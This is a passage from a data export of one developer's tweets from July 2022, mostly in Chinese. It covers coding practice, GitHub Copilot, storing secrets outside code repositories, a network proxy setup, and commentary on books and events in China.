03:59:44+00:00,226,15,27,,这周末在深圳全球架构师大会，做个无侵入式全链路灰度发布和压力测试的技术分享……刚了解到去了就回不来北京，得润到别的地方呆7天才能回京……这居然是我今年第一次出门，让我感觉今年比疫情开始那年还更糟糕……,,https://twitter.com/haoel/status/1549242558714236929\n1689,1549240954728591360,2022-07-19 03:53:21+00:00,18,0,1,,\"@alexxubyte Thanks, Alex! Even for the system design interview, I think the thread can be better. the interviewer bascailly would test the following thing: 1) large scale distributed system  knowldege &amp; experience. 2) how inteviewee trade off the design. 3) what are the pros and cons…\",,https://twitter.com/haoel/status/1549240954728591360\n1690,1549057631049814016,2022-07-18 15:44:53+00:00,54,0,8,,Github给了我好几个Badge…… https://t.co/pqBKi2Jlbj,,https://twitter.com/haoel/status/1549057631049814016\n1691,1549053292860190720,2022-07-18 15:27:39+00:00,771,181,4,,\"个人家庭及AWS 中国数据中心的clash透明网关代理方案，以及k8s中的应用翻墙, 拉镜像，apt/yum, maven, golang官方源, 看Netflix, Disney+, PS5/Xbox加速，一劳永逸的解决方案 ，让你回到二十年前的网络环境，你值得拥有……https://t.co/o1XGSt1oUz\",\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#81-aws-%E7%BD%91%E7%BB%9C%E6%9E%84%E5%BB%BA', tcourl='https://t.co/o1XGSt1oUz', indices=(136, 159))]\",https://twitter.com/haoel/status/1549053292860190720\n1692,1549051470036627457,2022-07-18 15:20:25+00:00,276,37,24,,河南发生的村镇银行的事告诉我们，到银行里存钱的这个“事务”不只是结算行、开户行和银联的确认后，事务就完成了，还得要把有你交易的银行帐本同步到人民银行后，这个“事务”才算是真正完成了……（这就好像你在携程上买完机票后，还得到航空公司或是中航信上云查一下有没有你的记录一下）……,,https://twitter.com/haoel/status/1549051470036627457\n1693,1548137303104663554,2022-07-16 02:47:50+00:00,7,0,1,,@FreiheitYu 这个也是我最爱吃的菜。,,https://twitter.com/haoel/status/1548137303104663554\n1694,1548137165443371008,2022-07-16 02:47:17+00:00,17,0,9,,@laixintao 我的微信未读消息数，这世界上好多消息是连看都不用看，回也不用回的…… https://t.co/WQOh3s3O4P,,https://twitter.com/haoel/status/1548137165443371008\n1695,1547835223173279748,2022-07-15 06:47:29+00:00,9,0,3,,@songma 我话是这么说，但是实际上几乎是不可能的，原因你我都懂……,,https://twitter.com/haoel/status/1547835223173279748\n1696,1547829445183934466,2022-07-15 06:24:31+00:00,293,30,26,,程序员鼓励师标准服装…… https://t.co/QtWwE9Vpiw,,https://twitter.com/haoel/status/1547829445183934466\n1697,1547827617386008576,2022-07-15 06:17:15+00:00,40,9,4,,@songma 对了，停贷还意味着，我给银行已经还的贷款，银行还要吐还给我，因为贷款不成立了，所以，要进行“回滚操作”……P.S. 对于烂尾楼，业主可以上法院告开发商违约，请求解除购房合同，一旦法院认可，那么跟购房合同相关的贷款合同也会被解除，银行要退还业务已还的贷款……,,https://twitter.com/haoel/status/1547827617386008576\n1698,1547826496252760066,2022-07-15 06:12:48+00:00,79,17,5,,@songma 停贷表示贷款是违规的，比如：银行在期房没有满足条件的情况下提供贷款，或是银行的贷款没有进入开发商资金监管帐户，而是直接进入了开发商的一般帐户，或是进入了监控帐户，但是被合谋挪用了……所以银行贷款违规，要停止。断供就是贷款是合法的，只是我还不上了。前者过错方是银行，后者是业主……,,https://twitter.com/haoel/status/1547826496252760066\n1699,1547824085995966465,2022-07-15 06:03:13+00:00,1,0,0,,@tty7tyil @viticis 目前看不能,,https://twitter.com/haoel/status/1547824085995966465\n1700,1547574163723784194,2022-07-14 13:30:07+00:00,11,0,6,,Twitter 把我的 CoTweet 功能又收回了……😅,,https://twitter.com/haoel/status/1547574163723784194\n1701,1547572721776635915,2022-07-14 13:24:24+00:00,0,0,1,,@kevinzhow 没法做二次编辑！,,https://twitter.com/haoel/status/1547572721776635915\n1702,1547540126946844672,2022-07-14 11:14:52+00:00,2,0,1,,@viticis 那个人的头像就没了……,,https://twitter.com/haoel/status/1547540126946844672\n1703,1547490582624235521,2022-07-14 07:58:00+00:00,88,4,40,,共同发推是个什么鬼？ https://t.co/5xVYswoyOE,,https://twitter.com/haoel/status/1547490582624235521\n1704,1547471110395965441,2022-07-14 06:40:37+00:00,34,1,11,,第一季一共9集，1-8集你不一定能坚持看下来，但是如果坚持下来了，第9集就是超高能输出……然后你就会同意上图中我在豆瓣上那个评论的意思了……🤪,,https://twitter.com/haoel/status/1547471110395965441\n1705,1547470118036246528,2022-07-14 06:36:41+00:00,22,5,10,,法语发音，感觉一下就高大上了……,,https://twitter.com/haoel/status/1547470118036246528\n1706,1547468891885932545,2022-07-14 06:31:49+00:00,179,32,12,,推荐这个Apple的原创剧《人生切割术》Severance https://t.co/TU6jEZkXOK https://t.co/kxpyHgjI8T,\"[TextLink(text='movie.douban.com/subject/348853…', url='https://movie.douban.com/subject/34885342/', tcourl='https://t.co/TU6jEZkXOK', indices=(30, 53))]\",https://twitter.com/haoel/status/1547468891885932545\n1707,1547419738879303680,2022-07-14 03:16:30+00:00,39,2,9,,对于3）来说，你要搞清楚代码是怎么运作的，我们每个写代码的人都知道，注释对于你搞清代码是怎么运作的几乎是没有什么帮助的，最好的方式就是debug一下代码，看代码运行时的那些context（变量里的值，状态，条件，执行路径等）是什么样的？这时，注释是低效的，把这些上下文打在debug log里才是高效的,,https://twitter.com/haoel/status/1547419738879303680\n1708,1547419736522182656,2022-07-14 03:16:29+00:00,27,0,3,,对于2）来说，怎么使用这个函数，这个类，有没有什么注意事项，其实，我们需要的是一些 example，最好是可以直接copy后改一改就可以用了，这些example完全可以写成unit test 单元测试，positive的案例告诉我们正常应该怎么用，negtive的案例告诉我们有哪些注意事项，这比代码注释要强数百倍，不是吗？,,https://twitter.com/haoel/status/1547419736522182656\n1709,1547419734135558144,2022-07-14 03:16:28+00:00,15,0,1,,对于1）来说，Why是很重要的，但我们需要知道，【代码注释通常来说都是微观的，不是宏观的】。对于宏观的东西都会写在需求和设计文档中。那些微观的Why的确写成注释是最佳实践，这点我还是赞成写注释的，因为代码再简单再易读也不会告诉 你Why。但这个why写成日志好像也行，如：“正在解决XXX问题...”,,https://twitter.com/haoel/status/1547419734135558144\n1710,1547419731673501696,2022-07-14 03:16:28+00:00,17,2,2,,我来补充一下这条有些许争议的推，希望大家可以一起来辨论。通常来说，我个人理解我们对代码一般会有下面三种诉求，1）这代码是用来解决什么的问题的？2）怎么使用这段代码，有没有什么注意事项？ 3）这个代码的实现细节是什么，如何运作的？……我们来看一下我们平时的实践是什么样的……（往下看）,,https://twitter.com/haoel/status/1547419731673501696\n1711,1547393572277628928,2022-07-14 01:32:31+00:00,0,0,1,,@TaizeWang “自我陶醉”？我以为我们可以就事论事，不想你马上开始对人了。让我好失望……,,https://twitter.com/haoel/status/1547393572277628928\n1712,1547253318950408192,2022-07-13 16:15:12+00:00,20,0,3,,@wingforce1 那只是今天，你可以顺着想象一下明天……,,https://twitter.com/haoel/status/1547253318950408192\n1713,1547226280579309568,2022-07-13 14:27:46+00:00,0,0,0,,@Piso06494521 嗯，以后你不妨试试把你的这些想法写的日志里，你的日志里面可以有公式，可以有推导的过程，思路想法和为什么不太适合放在日志里，但是只要你日志打得清楚，别人一眼就能知道你的想法是啥……,,https://twitter.com/haoel/status/1547226280579309568\n1714,1547200685019516928,2022-07-13 12:46:03+00:00,0,0,0,,@beyond9102 当然可以……😎,,https://twitter.com/haoel/status/1547200685019516928\n1715,1547200333729841155,2022-07-13 12:44:39+00:00,653,116,31,,GitHub Copilot 这个工具对于写常规性的代码（如：单元测试，或CRUD等等）简直太爽了……所以，我建议没有用上的同学都花一个月的钱用一下……如果你发现你工作当中的代码基本都是这个工具自动完成的，那你得赶快离开现在的工作，因为这代表着你是可以被 Copilot 取代的……🥹,,https://twitter.com/haoel/status/1547200333729841155\n1716,1547194169197613056,2022-07-13 12:20:10+00:00,4,0,1,,@Tk206_ 正常时候不会开debug啊，debug的时候一般不需要高性能啊……,,https://twitter.com/haoel/status/1547194169197613056\n1717,1547193736634937344,2022-07-13 12:18:26+00:00,31,0,6,,@TaizeWang 日子长了你会认同我的……😉，因为写得好的代码是自注释的，代码既注释，而重要的地方才写注释，其实就是日志……,,https://twitter.com/haoel/status/1547193736634937344\n1718,1547181188883685377,2022-07-13 11:28:35+00:00,1,0,2,,@tmutoo @Viniwang110293 @CodyInnowhere 那你是为什么学习五笔？,,https://twitter.com/haoel/status/1547181188883685377\n1719,1547181058596151298,2022-07-13 11:28:04+00:00,350,40,43,,绝大多数的程序注释都可以写成 log info 或是log debug以及 Unit Test，这样一来，代码质量和工程能力至少上一个新的台阶……,,https://twitter.com/haoel/status/1547181058596151298\n1720,1547175360017534976,2022-07-13 11:05:25+00:00,11,2,1,,@einverne @kevinzhow https://t.co/AQfxKIdbou,\"[TextLink(text='apps.apple.com/us/app/rayon-s…', url='https://apps.apple.com/us/app/rayon-ssh-server-toolbox/id1609781496?l=zh', tcourl='https://t.co/AQfxKIdbou', indices=(21, 44))]\",https://twitter.com/haoel/status/1547175360017534976\n1721,1547142499147190273,2022-07-13 08:54:50+00:00,3,0,0,,@3721_helper 没事的，你可以看的，如果你要通过我手在的位置判断 的话，最多只能猜到一半……,,https://twitter.com/haoel/status/1547142499147190273\n1722,1547135065217310721,2022-07-13 08:25:18+00:00,3,0,1,,@3721_helper @kevinzhow 那你说说我的开屏密码是多少？嘿嘿，猜对三个数就OK了。,,https://twitter.com/haoel/status/1547135065217310721\n1723,1547097834972844032,2022-07-13 05:57:22+00:00,9,0,0,,@lcomplete_wild @kevinzhow 找不到手机支架，我把公司的桌上足球拆了做了个很糟糕的支架，我的iPhoneX从上面无数次掉下来，哈哈 https://t.co/44vTAtZGQA,,https://twitter.com/haoel/status/1547097834972844032\n1724,1547095091986059264,2022-07-13 05:46:28+00:00,2,0,0,,@luzhao37890986 @kevinzhow 🤬🤯😤😡,,https://twitter.com/haoel/status/1547095091986059264\n1725,1547093278348042242,2022-07-13 05:39:15+00:00,1,0,2,,@fg_con @kevinzhow 你有用手机上的 SSH APP登过服务器吗？如果登过，你就知道我说的是什么意思了。,,https://twitter.com/haoel/status/1547093278348042242\n1726,1547093019953836033,2022-07-13 05:38:14+00:00,33,6,7,,这款键盘叫“微软通用蓝牙折叠键盘（Universal Foldable Keyboard）”，有两个蓝牙记忆，可以在两个设备间切换，支持电脑、Android、iPhone/iPad，我买的时候好像是699软妹币。现在好像微软不出了，京东上只搜到一家第三方的在卖…… https://t.co/E6Tukz4Sdf,,https://twitter.com/haoel/status/1547093019953836033\n1727,1547087313158541313,2022-07-13 05:15:33+00:00,247,42,29,,以前@kevinzhow 安利便携键盘，因为iOS没有原生五笔输入法搁置了，现在拿出来感觉还是很好用的……尤其用在ssh 远程操作服务器时，就很爽了。如：再也不用为找不到Esc键等操作不了vim发愁了…… https://t.co/TYKteH5Lyh,,https://twitter.com/haoel/status/1547087313158541313\n1728,1547019275826630657,2022-07-13 00:45:12+00:00,72,6,4,,\"Frankly, I think this thread &amp; picture didn’t show Amazon’s backend architecture. Majorly, 1) Micro service with isolated database &amp; full functional 2 pizza team, 2) EDA with workflow &amp; pub/sub, 3)infinite scale with pull system, 4) operation excellence with SLA &amp; automation …\",,https://twitter.com/haoel/status/1547019275826630657\n1729,1546667737346215936,2022-07-12 01:28:18+00:00,13,0,1,,@tinyfool 我刚刚把他拉黑了……,,https://twitter.com/haoel/status/1546667737346215936\n1730,1546494727939231744,2022-07-11 14:00:50+00:00,12,1,1,,@PenngXiao 我同样是这个感受，前几天就发表看法了，跟写大字报批斗人没什么两样……,,https://twitter.com/haoel/status/1546494727939231744\n1731,1546413794766643200,2022-07-11 08:39:14+00:00,15,0,1,,好吧……,,https://twitter.com/haoel/status/1546413794766643200\n1732,1546085661031030784,2022-07-10 10:55:21+00:00,8,0,0,,@hylarucoder @laixintao Ten cents,,https://twitter.com/haoel/status/1546085661031030784\n1733,1545794547837390848,2022-07-09 15:38:34+00:00,0,0,0,,@BenjaminGu2015 我也不知道，估计是数据匹配错了吧。,,https://twitter.com/haoel/status/1545794547837390848\n1734,1545794429591572482,2022-07-09 15:38:06+00:00,0,0,0,,@_realyin_ 哈哈哈,,https://twitter.com/haoel/status/1545794429591572482\n1735,1545698237289418752,2022-07-09 09:15:52+00:00,79,3,15,,刚才96110打个电话给我，说我近期参与了网上的刷单活动，并说，这些刷单活动都是属于诈骗行为，让我不要参加……哎，另一个多重宇宙里的我，活的多悲催……,,https://twitter.com/haoel/status/1545698237289418752\n1736,1545428861860515840,2022-07-08 15:25:28+00:00,1,0,1,,@thunderwang 要不你先跟全世界对其他国家程序员说你们以后不要贴代码了，帖图吧……,,https://twitter.com/haoel/status/1545428861860515840\n1737,1545383584206168064,2022-07-08 12:25:32+00:00,4,1,2,,@agymxc 所以截图这个事儿，就是咱们中国人自己不好的毛病……,,https://twitter.com/haoel/status/1545383584206168064\n1738,1545383197407555585,2022-07-08 12:24:00+00:00,11,0,0,,@cloudwu 好的，我以后就这么做！,,https://twitter.com/haoel/status/1545383197407555585\n1739,1545383090125647873,2022-07-08 12:23:35+00:00,14,0,0,,@repoog 你截图的拉取是一个动作。文本的选择和拉取是两个动作。牛！,,https://twitter.com/haoel/status/1545383090125647873\n1740,1545346681796845568,2022-07-08 09:58:54+00:00,38,0,3,,@ximigen 我就知道会有人出来说从图片上复杂文字，这个功能你用的多吗？如果你用的多的话，你就知道，大段文字的情况下很不靠谱。,,https://twitter.com/haoel/status/1545346681796845568\n1741,1545346398085795841,2022-07-08 09:57:47+00:00,4,0,1,,@wuvist 明显不是！,,https://twitter.com/haoel/status/1545346398085795841\n1742,1545344802702495745,2022-07-08 09:51:26+00:00,466,39,88,,我发现国内的程序员分享代码/配置/日志片段时都是使用截图，这应该就是日常使用的工具不支持markdown。于是形成了习惯，哪怕到了的Github，Slack或Discord，他们都习惯用截图的方式……我其实很不喜喜欢用截图的方式分享文本，因为内容拷不出来……工具落后，导致习惯落后，最终也会影响别人的效率……,,https://twitter.com/haoel/status/1545344802702495745\n1743,1545278155237490689,2022-07-08 05:26:36+00:00,2,0,0,,@dszhongdeds 死亡,,https://twitter.com/haoel/status/1545278155237490689\n1744,1545218698549403648,2022-07-08 01:30:21+00:00,158,21,14,,\"一个服装产的小老板回忆起20年前在东莞打工的心酸经历，最后哽咽住了。https://t.co/geqk5NhyUm 然而，在讲述过往经历的时候，只能使用非常隐晦的表达方式……\n\nP.S. 其中提到的小刚同学和他的S and W，可能有一些同学听不懂，这里给个链接：https://t.co/hz7x4AoJz8\",\"[TextLink(text='v.douyin.com/YEfuAGb/', url='https://v.douyin.com/YEfuAGb/', tcourl='https://t.co/geqk5NhyUm', indices=(34, 57)), TextLink(text='zh.wikipedia.org/wiki/%E5%AD%99…', url='https://zh.wikipedia.org/wiki/%E5%AD%99%E5%BF%97%E5%88%9A%E4%BA%8B%E4%BB%B6', tcourl='https://t.co/hz7x4AoJz8', indices=(132, 155))]\",https://twitter.com/haoel/status/1545218698549403648\n1745,1544975897664450561,2022-07-07 09:25:32+00:00,37,3,2,,Easegress 2.0 历经3个月的开发发布了。这版改动比较大，主要三大块：1）支持多协议的pipeline，2）控制逻辑与业务逻辑的分享，让弹力（熔断，限流、重试等）归属于控制，而让fitler更关注业务。3）更为强大的 API 编排的功能，一行代码不写，通过配置直接把多个API组合和编排成超来成一个超级API……,,https://twitter.com/haoel/status/1544975897664450561\n1746,1544974176527626241,2022-07-07 09:18:42+00:00,30,1,5,,@cn_LittleYu 其实是一样的，你学习也好，读书也好，上学也好，都是一样的，不是不相干。如果太过功利了，那么，只要你得到不那个利，你就不会再干了，或是说，你会为了利就会想走捷径。读过书的人，都不会用这么功利的方式去教育人……当然，如果要杠的话，就当我什么也没有说……各自保留看法,,https://twitter.com/haoel/status/1544974176527626241\n1747,1544969395474087937,2022-07-07 08:59:42+00:00,6,0,2,,@zhuxiuyuan @syhily 看短视频上大学？呵呵。推荐你看一本书：think slow think fast https://t.co/zHVmsA0j1o,\"[TextLink(text='book.douban.com/subject/107855…', url='https://book.douban.com/subject/10785583/', tcourl='https://t.co/zHVmsA0j1o', indices=(61, 84))]\",https://twitter.com/haoel/status/1544969395474087937\n1748,1544962215937052673,2022-07-07 08:31:10+00:00,637,58,54,,跟社区里开发者聊天，我说了几句乌鸦嘴的话，比如，云服务会宕机的……blabla，他回复我：stop jinxing it 。我一看，jinxing，跟我说中文？还整拼音?! 但是“尽兴”“金星”“进行”都有点不对马嘴啊……查字典才发现，jinxing 是 jinx 的动名词形式，jinx 就是“乌鸦嘴”的意思，哈哈，第一次见这个单词……,,https://twitter.com/haoel/status/1544962215937052673\n1749,1544955702531072000,2022-07-07 08:05:18+00:00,5,0,2,,@syhily 你不觉得这就是功利读书的问题吗？因为功利，所以，才会刷短视频啊……,,https://twitter.com/haoel/status/1544955702531072000\n1750,1544950348107812864,2022-07-07 07:44:01+00:00,195,14,33,,看了很多回复，都说10岁的孩子听不懂罗翔讲的，太深了，功利的更好。一方面，我觉得孩子能懂。另一方面，大家不妨扪心自问下，你作为一个成年人，就算是以功利的方式的读书，你会读书么？你买回来的书都读完了吗？你有多长时间没读书了？因为大多数人是以功利的方式读书，从来都没有明白过读书的意义…,,https://twitter.com/haoel/status/1544950348107812864\n1751,1544944074368503813,2022-07-07 07:19:05+00:00,9,0,0,,@Mr_HedgeH0g 为什么10岁的小孩子不能懂？至少我可以跟他讲清楚，功利的读书不是读书。,,https://twitter.com/haoel/status/1544944074368503813\n1752,1544928210630021120,2022-07-07 06:16:03+00:00,837,225,171,,为什么我说视频里的这个妈妈明显没怎么读过书？这里有个罗翔老师的视频，大家可以比较一下，真正读过书的人会怎么回答这个问题 一一【罗翔】我们为什么要读书？https://t.co/X9y8BVjiX6,\"[TextLink(text='b23.tv/9P09VbX', url='https://b23.tv/9P09VbX', tcourl='https://t.co/X9y8BVjiX6', indices=(75, 98))]\",https://twitter.com/haoel/status/1544928210630021120\n1753,1544927679937331201,2022-07-07 06:13:56+00:00,3,2,0,,@yyayucheng @wangxiaoshan 自己比较一下，真正读过书的人会怎么回答：【罗翔】我们为什么要读书？https://t.co/X9y8BVjiX6,\"[TextLink(text='b23.tv/9P09VbX', url='https://b23.tv/9P09VbX', tcourl='https://t.co/X9y8BVjiX6', indices=(59, 82))]\",https://twitter.com/haoel/status/1544927679937331201\n1754,1544683276706582529,2022-07-06 14:02:46+00:00,2,0,0,,@nishuang 不错不错,,https://twitter.com/haoel/status/1544683276706582529\n1755,1544677613355950080,2022-07-06 13:40:16+00:00,114,23,13,,我隐约听见，电子琴一脸鄙视地在说：“你们人类真无聊，把乐谱数字化后，我这个电子琴就可以直接出声的，还要转换成模拟信号，然后再通过机械这种低等原始科技，以按键的方式再传给我……”,,https://twitter.com/haoel/status/1544677613355950080\n1756,1544650984613240832,2022-07-06 11:54:27+00:00,12,0,1,,@anpho 发短信容易实现。,,https://twitter.com/haoel/status/1544650984613240832\n1757,1544647311380205571,2022-07-06 11:39:51+00:00,57,1,7,,@wangxiaoshan 这个妈妈明显没怎么读过书……,,https://twitter.com/haoel/status/1544647311380205571\n1758,1544492707808038912,2022-07-06 01:25:31+00:00,0,0,1,,@youdangls Lint没报错啊,,https://twitter.com/haoel/status/1544492707808038912\n1759,1544327128363065344,2022-07-05 14:27:34+00:00,1,1,1,,@luosheng 因为这个问题，需要打开查看一些隐藏字符https://t.co/0e82tpCgh1,\"[TextLink(text='coolshell.cn/articles/21649…', url='https://coolshell.cn/articles/21649.html', tcourl='https://t.co/0e82tpCgh1', indices=(29, 52))]\",https://twitter.com/haoel/status/1544327128363065344\n1760,1544326635284865029,2022-07-05 14:25:36+00:00,143,7,10,,Github Copilot ，你就不能把那些上传到 Github 的 Access Key 找一个给我填上去吗？ 哼！ https://t.co/WuEcUYXDLS,,https://twitter.com/haoel/status/1544326635284865029\n1761,1544318627402305536,2022-07-05 13:53:47+00:00,7,0,0,,@notmyChris 👍🏻👍🏻,,https://twitter.com/haoel/status/1544318627402305536\n1762,1544318535559569408,2022-07-05 13:53:25+00:00,4,0,1,,@luosheng Golang 的coding style 的要求，自动化代码格或化工具 go fmt ./… 的结果……,,https://twitter.com/haoel/status/1544318535559569408\n1763,1544317079376896000,2022-07-05 13:47:38+00:00,1,0,2,,@tinyfool @kn0108 被你吓跑了。,,https://twitter.com/haoel/status/1544317079376896000\n1764,1544316134605746176,2022-07-05 13:43:53+00:00,51,0,1,,@tinyfool 那就先给你点一个。 https://t.co/WRgyAQTq5L,,https://twitter.com/haoel/status/1544316134605746176\n1765,1544315647110176768,2022-07-05 13:41:56+00:00,9,1,32,,不懂就问，这几个朝下的按钮是干啥的？ https://t.co/ggkMJFkl23,,https://twitter.com/haoel/status/1544315647110176768\n1766,1544308188551323649,2022-07-05 13:12:18+00:00,83,16,2,,有人问代码里的不等号是怎么出来的。传送门：https://t.co/TrnEzuuIXb,\"[TextLink(text='github.com/tonsky/FiraCode', url='https://github.com/tonsky/FiraCode', tcourl='https://t.co/TrnEzuuIXb', indices=(21, 44))]\",https://twitter.com/haoel/status/1544308188551323649\n1767,1544308011539185665,2022-07-05 13:11:36+00:00,3,0,0,,@thesis23647289 https://t.co/TrnEzuuIXb,\"[TextLink(text='github.com/tonsky/FiraCode', url='https://github.com/tonsky/FiraCode', tcourl='https://t.co/TrnEzuuIXb', indices=(16, 39))]\",https://twitter.com/haoel/status/1544308011539185665\n1768,1544296929592389632,2022-07-05 12:27:34+00:00,147,13,26,,要不是Github的 Copilot， 我都不知道在Golang里 int 可以当成一个变量来用，让你变量取名再也不用痛苦…… 😂 https://t.co/rRnr5Fwd4Y,,https://twitter.com/haoel/status/1544296929592389632\n1769,1544281520021467136,2022-07-05 11:26:20+00:00,6,0,5,,@JU4Tang 你说得对，但是原帖说的是完全没有，而不是跟你讲比例……你讲比例这个事儿吧，没有数据，我觉得我们都没发言权……不然都是主观感受……,,https://twitter.com/haoel/status/1544281520021467136\n1770,1544257483081797632,2022-07-05 09:50:49+00:00,7,0,3,,@artest_hu1 @wangzhian8848 你自己搜一下国外的新闻吧，另外，我觉得你可以自己独立思考一下……中国这边必然有宣传的成份，但是，你要说，在中国完全没有有爱人的工作人员，全都是 演出来的，那也是错误的……,,https://twitter.com/haoel/status/1544257483081797632\n1771,1544252990118191104,2022-07-05 09:32:58+00:00,66,3,22,,\"其实，这样的“爱心接力”在中国普地都是，我自己都亲眼见过一两次……\n- https://t.co/kOOXr5TUe7\n- https://t.co/qPGJywOJ10\n-https://t.co/9aZ3lntq7U\n- https://t.co/cObqlL4X9s https://t.co/hW3W07HI99\",\"[TextLink(text='m.mp.oeeee.com/a/BAAFRD000020…', url='https://m.mp.oeeee.com/a/BAAFRD000020200921365455.html', tcourl='https://t.co/kOOXr5TUe7', indices=(36, 59)), TextLink(text='163.com/dy/article/HA2…', url='https://www.163.com/dy/article/HA2J9UJ005346936.html', tcourl='https://t.co/qPGJywOJ10', indices=(62, 85)), TextLink(text='sohu.com/a/520442947_12…', url='https://www.sohu.com/a/520442947_120046696', tcourl='https://t.co/9aZ3lntq7U', indices=(87, 110)), TextLink(text='j.eastday.com/p/165643276303…', url='https://j.eastday.com/p/1656432763039784', tcourl='https://t.co/cObqlL4X9s', indices=(113, 136))]\",https://twitter.com/haoel/status/1544252990118191104\n1772,1544243065572847616,2022-07-05 08:53:32+00:00,75,0,9,,\"@hellojixian https://t.co/yWyMpiv5YH\n\nhttps://t.co/fZQH7bWRjP\n\nhttps://t.co/GlDbkB5Ys7\n\nhttps://t.co/kOOXr5TUe7\n\nhttps://t.co/pthupH35Ak\",\"[TextLink(text='m.chinanews.com/wap/detail/zw/…', url='http://m.chinanews.com/wap/detail/zw/sh/2021/03-11/9430195.shtml', tcourl='https://t.co/yWyMpiv5YH', indices=(13, 36)), TextLink(text='m.cnhubei.com/content/2021-1…', url='http://m.cnhubei.com/content/2021-12/26/content_14355696.html', tcourl='https://t.co/fZQH7bWRjP', indices=(38, 61)), TextLink(text='fz.fjsen.com/2016-05/09/con…', url='http://fz.fjsen.com/2016-05/09/content_17774046_all.htm', tcourl='https://t.co/GlDbkB5Ys7', indices=(63, 86)), TextLink(text='m.mp.oeeee.com/a/BAAFRD000020…', url='https://m.mp.oeeee.com/a/BAAFRD000020200921365455.html', tcourl='https://t.co/kOOXr5TUe7', indices=(88, 111)), TextLink(text='sd.dzwww.com/sdnews/201905/…', url='https://sd.dzwww.com/sdnews/201905/t20190517_18732493.htm', tcourl='https://t.co/pthupH35Ak', indices=(113, 136))]\",https://twitter.com/haoel/status/1544243065572847616\n1773,1544149501937537026,2022-07-05 02:41:44+00:00,132,1,10,,\"@yuxiyou 2019年的时候，微博的某架构师公开发微博，说我跟 @tinyfool 对香港暴乱的事只字不提，但平时都在嘲讽小粉红……所以，不在于你说了什么，而在于你已经被定性了，你就算什么也不说，他们也要斗你……（这个时代，多多保重）\nhttps://t.co/o4Fu1NwKM8\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1181379105733824512', tcourl='https://t.co/o4Fu1NwKM8', indices=(121, 144))]\",https://twitter.com/haoel/status/1544149501937537026\n1774,1544143953057890305,2022-07-05 02:19:41+00:00,4,0,0,,@zhangshengff 这是适配+1s的梗,,https://twitter.com/haoel/status/1544143953057890305\n1775,1544142813637402624,2022-07-05 02:15:10+00:00,72,0,13,,续命来了，+259200s…… https://t.co/PglLLFkdxf,,https://twitter.com/haoel/status/1544142813637402624\n1776,1544137454415781888,2022-07-05 01:53:52+00:00,5,0,2,,@ludewan 这些token，数据库密码，邮件密码，webhook，自签证书，你不存配置的话，也得要找个密钥服务器来存（本质上也是某种配置中心），重要的其实并不在于你存在哪里，重要的在于你多长时间自动化的变更这些东西……,,https://twitter.com/haoel/status/1544137454415781888\n1777,1544135371381821441,2022-07-05 01:45:35+00:00,45,2,2,,你让我又觉得互联网挺好的的了……👍🏻👍🏻👍🏻,,https://twitter.com/haoel/status/1544135371381821441\n1778,1544134947924955137,2022-07-05 01:43:54+00:00,8,0,1,,@henry_liang 赞！,,https://twitter.com/haoel/status/1544134947924955137\n1779,1544132650562043904,2022-07-05 01:34:47+00:00,254,33,19,,Github上是各种密码上传的重灾区，因为太多的程序员不会把配置和程序分离。我司的实践一般会有两个repo，一个是程序一个是配置（各种密码全部放在这里），程序repo开源，配置repo私有化。自动化部署分别部署程序和配置，完美适配k8s的实践……,,https://twitter.com/haoel/status/1544132650562043904\n1780,1543974406854025216,2022-07-04 15:05:58+00:00,9,0,1,,@tinyfool 我觉得你混淆了很多事情……我们就此打住，各自保留看法。,,https://twitter.com/haoel/status/1543974406854025216\n1781,1543973480311312384,2022-07-04 15:02:18+00:00,2,0,3,,@tinyfool 对了，你觉得CSDN一个技术博客做这种扫描工具有意义吗？一边是相概率高的一不小心就传上去了，另外一边是低概率的愚蠢……,,https://twitter.com/haoel/status/1543973480311312384\n1782,1543967784140283906,2022-07-04 14:39:39+00:00,0,0,3,,@tinyfool 哦，这个功能警告怎么打开？我怎么没有发现还有这样的功能？,,https://twitter.com/haoel/status/1543967784140283906\n1783,1543965536937095168,2022-07-04 14:30:44+00:00,5,0,3,,@tinyfool 其实国人把密码上传Github的更多……但不能说Github的氛围比CSDN更差吧……,,https://twitter.com/haoel/status/1543965536937095168\n1784,1543962526978699265,2022-07-04 14:18:46+00:00,319,32,53,,这是我今天看到的最哭笑不得的事儿……CSDN成罪魁祸首了……这就好像你把你家的地址和钥匙放到地铁上，然后怪的地铁方没有权限管理……哎，我感觉互联网越来越差了…… https://t.co/arO6TMvAGV,,https://twitter.com/haoel/status/1543962526978699265\n1785,1543921277957656576,2022-07-04 11:34:51+00:00,28,1,5,,我们小公司专门支持各种大公司……🤪,,https://twitter.com/haoel/status/1543921277957656576\n1786,1543920747516608512,2022-07-04 11:32:45+00:00,75,0,6,,@nishuang @waylybaye 解决一个问题引入100个问题……,,https://twitter.com/haoel/status/1543920747516608512\n1787,1543617813914329093,2022-07-03 15:29:00+00:00,2,0,0,,@wangxiaoshan 足球都踢成video game了……,,https://twitter.com/haoel/status/1543617813914329093\n1788,1543612103348498434,2022-07-03 15:06:19+00:00,21,0,1,,@ButaiKirin @yjz0065 所以，中国互联网是“开放”的……,,https://twitter.com/haoel/status/1543612103348498434\n1789,1543465508011249669,2022-07-03 05:23:47+00:00,425,96,24,,耳边又响起了——“语雀，飞书是最好用的，Google Docs难用死了”……,,https://twitter.com/haoel/status/1543465508011249669\n1790,1543278854441078789,2022-07-02 17:02:06+00:00,40,1,3,,@lolc936163 你说着英文，用着英语，不承认自己是英国人，居然说自己是美国人，真是可笑啊……🤪,,https://twitter.com/haoel/status/1543278854441078789\n1791,1542913633050497024,2022-07-01 16:50:50+00:00,15,1,4,,另外，我随便探测网站有没有开启TLS，发现绝大多数海外的网站开启了，HTTP/2出很普及。然而， 中国区的网站好多都还在HTTP的原始社多，基本上全都是政府或一些老网站（如：39健康）。有趣的是，新华社的中文主站 https://t.co/HSYjyW7Ml9 只有HTTP，而英文站 https://t.co/8jLR9m8bDW 则是HTTPS……2/2,\"[TextLink(text='news.cn', url='http://news.cn', tcourl='https://t.co/HSYjyW7Ml9', indices=(107, 130)), TextLink(text='english.news.cn', url='http://english.news.cn', tcourl='https://t.co/8jLR9m8bDW', indices=(143, 166))]\",https://twitter.com/haoel/status/1542913633050497024\n1792,1542913630919725056,2022-07-01 16:50:50+00:00,200,23,5,,原本想用全球的top 100万的网站来做个性能测试，结果发现有好多网站完全不知道，有些还比较有趣，人果然只生活自己的圈子里。重点看了一下，top 